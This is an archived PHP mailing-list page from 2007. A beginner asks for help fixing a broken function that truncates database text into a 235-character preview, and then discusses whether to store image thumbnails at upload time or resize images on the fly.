[PHP] preview string with strlen PHP (help)

2007-03-23 Thread Dwayne Heronimo
Dear All,

I am very new to programming. I want to make a preview text that would 
display only a part of the text that is a text field in a database.

//Begin Make preview string

 $minitxt = $row_show_cat['text'];
 $len = strlen($minitxt);

 if ($len > 235)
 {
  $len = 235;
 }
 else
 {
  $len = $len;
 }

 $newstring = substr($minitxt,0,$len);

 $previewtext = $newstring;

//End Make preview string

But if I want to display this somewhere in the page it will only display the 
first record of at every text column row 

Althought I am very new to php and programming. I thought maybe I should 
rewrite it into a function. But my function won't work.


function previewString($showcatvar) {

 $minitxt = $showcatvar;
 $len = strlen($minitxt);

 if ($len > 235)
 {
  $len = 235;
 }
 else
 {
  $len = $len;
 }

 $newstring = substr($minitxt,0,$len);

 $previewtext = $newstring;

 $previewtext = $whowcatvar;

}


and to display it in the page:



IT displays notthing. But I think I am doing somthing wrong. I am assigning 
the wrong variables to the $row_show_cat['text']) ???

Please let me know 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] image uploading/resizing best practices in PHP

2007-03-22 Thread Dwayne Heronimo
thx for the input. I was afraid that it would be option 1 because it is more 
complex.
I will start googling. ;)

Thx

""Shafiq Rehman"" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
> Option one is much better.
>
> -- 
> Shafiq Rehman (ZCE)
> http://phpgurru.com | http://shafiq.pk
>
> On 3/22/07, Tijnema ! <[EMAIL PROTECTED]> wrote:
>>
>> On 3/22/07, Dwayne Heronimo <[EMAIL PROTECTED]> wrote:
>> > Dear All,
>> >
>> > I would like to make a script to upload a jpg filewith php to a server;
>> then
>> > make a thumb; save if for later use. And store the path to the image in
>> a
>> > database to display it later. But what is the best practice to do this
>> on a
>> > relatively low traffic website?
>> >
>> > I dont know where to begin but I have 2 appoaches:
>> >
>> > 1. To make a script to upload the image and resize this on the fly and
>> store
>> > only the thumb image somewhere for later use. While also to store the
>> image
>> > path in de database for later retrieval.
>>
>> The best way i think if you have enough space on the server to store the
>> thumb.
>>
>> >
>> > 2. to make a script to only upload the image as is and then insert the
>> image
>> > path in the database for later use. And upon displaying the image to 
>> > use
>> > like a nondistructive > > scr="resizer.php?imgfile=image.jpg&width=250"
>> > border=0> resizer to display the image in the desired dimentions.
>> This one is worser then the first one, because everytime you request
>> the thumb would cost some CPU power. This isn't a lot, but if you are
>> gonna process 1000s thumbs a time, it will really make difference in
>> performance.
>>
>> >
>> > Which one would be the best practice now a days for a relative low
>> traffic
>> > site?
>> > I really have no idean how to build this but I have a good approach I
>> maybe
>> > could start searching for something more specific.
>> >
>> > Thanks for your help,
>> >
>> > Dwayne
>> >
>> You should have a look at the image functions of
>> PHP(www.php.net/image). Creating the thumbs is the hardest part. The
>> upload part should be no problem with a little bit of google :)
>> Or you might want to google for a full working scripts, i saw them 
>> around.
>>
>> Tijnema
>>
>>
>> > --
>> > PHP General Mailing List (http://www.php.net/)
>> > To unsubscribe, visit: http://www.php.net/unsub.php
>> >
>> >
>>
>> --
>> PHP General Mailing List (http://www.php.net/)
>> To unsubscribe, visit: http://www.php.net/unsub.php
>>
>>
> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] image uploading/resizing best practices in PHP

2007-03-22 Thread Dwayne Heronimo
Dear All,

I would like to make a script to upload a jpg filewith php to a server; then 
make a thumb; save if for later use. And store the path to the image in a 
database to display it later. But what is the best practice to do this on a 
relatively low traffic website?

I dont know where to begin but I have 2 appoaches:

1. To make a script to upload the image and resize this on the fly and store 
only the thumb image somewhere for later use. While also to store the image 
path in de database for later retrieval.

2. to make a script to only upload the image as is and then insert the image 
path in the database for later use. And upon displaying the image to use 
like a nondistructive  resizer to display the image in the desired dimentions.

Which one would be the best practice now a days for a relative low traffic 
site?
I really have no idean how to build this but I have a good approach I maybe 
could start searching for something more specific.

Thanks for your help,

Dwayne 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php